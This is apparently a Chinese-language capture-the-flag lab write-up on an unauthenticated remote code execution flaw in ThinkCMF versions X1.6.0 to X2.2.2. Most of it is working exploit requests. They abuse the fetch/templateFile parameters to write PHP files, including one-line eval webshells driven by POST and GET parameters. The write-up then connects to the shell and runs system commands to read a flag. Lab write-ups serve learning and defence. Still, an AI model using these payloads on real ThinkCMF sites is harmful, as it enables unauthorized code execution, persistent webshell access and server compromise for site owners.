漏洞描述:
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。
影响版本:
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
开启vulfocus靶场,打开链接:
验证漏洞:
/?a=display&templateFile=README.md
写入phpinfo()语句:
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shell.php','<?php phpinfo(); ?>')</php>
访问shell.php文件:
http://ip:port/shell.php
写入一句话木马:
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('webshell.php','<?php @eval($_POST[123]); ?>')</php>
(意思是创建webshell.php木马,并且POST传参123)
出现空白就正常,若是出现报错就说明没有正常创建webshell.php
中国蚁剑连接:
http://ip:port/webshell.php
成功得到flag:
flag-{bmhf8969957-8a73-48d2-933b-abc28ac523bc}
或者用另一种方法:
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1.php','<?php eval($_GET["NanYuan"]);?>')</php>
(意思是创建1.php木马,并且GET传参NanYuan)
还是一样的出现空白就正常
/1.php?NanYuan=system("ls /tmp");
一样获取到flag